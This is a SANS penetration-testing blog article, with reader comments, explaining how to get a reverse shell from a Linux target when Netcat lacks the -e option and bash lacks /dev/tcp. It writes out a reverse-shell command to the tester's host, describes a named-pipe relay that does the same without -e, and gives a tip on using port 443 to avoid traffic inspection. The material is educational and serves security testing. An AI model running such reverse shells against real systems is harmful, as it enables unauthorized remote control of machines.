SANS Penetration Testing

Many pen testers know how to create a reverse backdoor shell with Netcat. But, what do you do if you have a Netcat that doesn't support the -e or -c options to run a shell? And, what if your target doesn't support /dev/tcp? In this article, I'll show you a nifty little work-around using some command-line kung fu with shell redirects.

Background

Netcat is fantastic little tool included on most Linuxes and available for Windows as well. You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows:

First, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine:

skodo@pentestbox# nc -nvlp 443

Here, I'm telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p). For some versions of Netcat, you leave the -p off of the listener invocation. Note that you need root-level privileges to listen on a port less than 1024. I'm using 443 here because it is more likely to be allowed outbound from my target environment to get back to my pentestbox Netcat listener, and is less likely to get noticed. Some organizations assume all TCP 443 traffic to be HTTPS, and therefore don't bother inspecting that traffic because they expect it to be encrypted. That's a bad assumption on their part.

Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique):

victim$ nc pentestbox 443 -e /bin/bash

This command invokes a Netcat client on the victim, which connects to the attacker's pentestbox on TCP port 443. The Netcat client then executes /bin/bash (-e /bin/bash) on the victim, connecting that shell's Standard Input and Standard Output to the network (that's what Netcat's -e option does... the -c option on some versions of Netcat is similar, except instead of executing just a single program, with no options, to connect, it executes a command which could have various parameters).

Then, on the pentestbox machine, we'll see the inbound connection, which we can type commands into as follows (typed commands in bold):

OK. That's all well and good? pretty standard fare for pen testers. But, what if you have a version of Netcat that doesn't support the -e option? In the traditional Netcat, if the well-named GAPING_SECURITY_HOLE option isn't defined in the Netcat source when it is compiled, your resulting Netcat executable won't support -e. Is all hope lost? Not at all. Years ago, I demonstrated how you could use /dev/tcp to implement a Netcat-like backdoor, without using Netcat at all. You can see it in my presentation called "Netcat without Netcat" here (slide 17 talks about the technique).

But, to use that technique, you need to have a bash that supports /dev/tcp. What if the target Linux is a Debian variant, which typically has a bash compiled without /dev/tcp support? Or, worse yet, what if the target system doesn't even have bash! Some stripped down Linuxes rely on other shells, such as plain old sh or ash. Shudder. Wow? sucks to be you. You've got a target Linux, but without a /dev/tcp and without a -e option in Netcat. Should you just give up? Nope.

I have, near my house, a magical Olive Garden. In this restaurant, I get all kinds of crazy ideas, often sitting at the bar awaiting my family to join me for dinner.* I was once sitting there, contemplating a penetration test I was working on, when suddenly it hit me: I can make something that works like Netcat with -e, even without a -e, by leveraging my shell.

In effect, I was going to implement a traditional Netcat relay (which I described in detail, along with a bunch of other crazy Netcat relays, on the Pauldotcom podcast episode 195 here), but instead of relaying from a Netcat listener to a Netcat client, I can relay from a shell to a Netcat client. Check it out:

As before, we start with a Netcat listener waiting for the inbound shell:

Here, I've first made a named pipe (also called a FIFO) called backpipe using the mknod command. The mknod command lets me create things in the file system, and here I'm creating something called "backpipe" that is of type "p", which is a named pipe. Alternatively, we could have used the mkfifo command available on some Linuxes and Unix variants, leaving off the p option. This FIFO will be used to shuttle data back to our shell's input. I created my backpipe in /tmp because pretty much any account is allowed to write there.

Then, I invoke my shell (/bin/sh), the most common shell available on all kinds of Linuxes and Unixes, pulling its Standard Input from the backpipe (0</tmp/backpipe). I pipe the output of /bin/sh (|) to my Netcat client. That Netcat client connects to the pentestbox on port 443 (nc pentestbox 443). I then take Netcat's Standard Output and dump it into the backpipe (1>/tmp/backpipe). On most shells, you can dispense with the 0< and 1> syntax, but on occasion, I've seen some weird shells where it doesn't work unless you use 0< and 1>. I always throw them in, just to make sure it'll work.

Now, there's one more thing to keep in mind. All of this redirect craziness (0<, |, and 1>) depends on there being a shell in which we're invoking the whole command on the victim machine. If you have raw command injection, in which you can execute arbitrary programs on the target machine, but without a shell (sometimes that happens with very vulnerable web apps), you'll have to modify the command just a bit. You'll need to invoke your own shell on the local target box (/bin/sh), which then in turn (using the -c option) invokes the backdoor shell (another /bin/sh) and all the great redirect stuff to invoke Netcat. Do that by injecting the following command:

* I have found it very helpful to identify a place as "magical" for the purpose of crazy, whimsical, and useful idea formation. Additionally, it's nice to have a time of day that you consider especially ripe for ideation. When there or then, tell yourself that you are now in the zone when ideas will happen, and your brain will be more likely to come up with interesting ideas. In a cynic's view, you are tricking yourself to come up with ideas. Or, from the optimist's point of view, you are setting the stage for your soul to soar.

The place and time don't have to line up. In fact, it's best if they don't, as you'll get more chances for ideas. For me, the place is that Magical Olive Garden in Eatontown, NJ, which I go to for dinner. But, the time is dawn, just as the sun is rising, when I'm on my morning walk. Much magic then!

Upcoming SANS Special Event - 2018 Holiday Hack Challenge

SANS Holiday Hack Challenge - KringleCon 2018

Free SANS Online Capture-the-Flag Challenge

Our annual gift to the entire Information Security Industry

Designed for novice to advanced InfoSec professionals

Fun for the whole family!!

Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars

pnig0s

nonameplz

pnig0s: That's file system permissions, not the actual permissions of the command.$ mknod /dev/test1 pmknod: `/dev/test1'': Permission denied$ mknod /tmp/test1 p$No special permission is required to make devices on any UNIX I've ever seen, you just need to be able to write to the path. (I'd recommend writing to /dev/shm instead of /tmp or something, to avoid touching disk)

Ed Skoudis

pnig0s is correct. Any user can run on mknod. But, you have to create something in a place in the file system where you have permission to write, just as you would with any other command that writes to the file system.

Reilly Chase

Steven Thompson

Hi Ed. I think you have a typo in your footnote, when you say "you are setting the stage for your soul to sour" I think you mean "you are setting the stage for your soul to soar."Although your way is funnier, especially given that you describe this as the optimist's view. I'd hate to see how the pessimist thinks.